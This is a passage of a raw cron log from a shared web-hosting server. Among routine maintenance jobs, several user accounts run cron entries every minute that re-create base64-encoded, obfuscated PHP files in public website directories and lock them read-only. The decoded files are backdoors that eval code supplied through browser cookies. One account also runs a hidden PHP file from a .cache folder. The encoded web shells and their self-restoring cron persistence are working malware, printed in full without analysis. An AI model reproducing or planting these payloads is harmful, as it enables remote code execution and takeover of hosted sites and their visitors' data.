kX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:03:01 medusa CROND[5186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:03:01 medusa CROND[5188]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:03:01 medusa CROND[5187]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:03:01 medusa CROND[5194]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:03:01 medusa CROND[5195]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:03:01 medusa CROND[5196]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:03:01 medusa CROND[5198]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:03:01 medusa CROND[5202]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:03:01 medusa CROND[5207]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:04:01 medusa CROND[29509]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:04:01 medusa CROND[29512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:04:01 medusa CROND[29513]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:04:01 medusa CROND[29514]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:04:01 medusa CROND[29510]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:04:01 medusa CROND[29518]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:04:01 medusa CROND[29520]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:04:01 medusa CROND[29519]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:04:01 medusa CROND[29521]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:04:01 medusa CROND[29522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:04:01 medusa CROND[29523]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:04:01 medusa CROND[29515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:04:01 medusa CROND[29527]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:05:01 medusa CROND[22232]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:05:02 medusa CROND[22321]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:05:02 medusa CROND[22332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:05:02 medusa CROND[22333]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:05:02 medusa CROND[22334]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:05:02 medusa CROND[22339]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:05:02 medusa CROND[22342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:05:02 medusa CROND[22343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:05:02 medusa CROND[22348]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:05:02 medusa CROND[22347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:05:02 medusa CROND[22351]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:05:02 medusa CROND[22352]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:05:02 medusa CROND[22346]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:05:02 medusa CROND[22340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:05:02 medusa CROND[22356]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
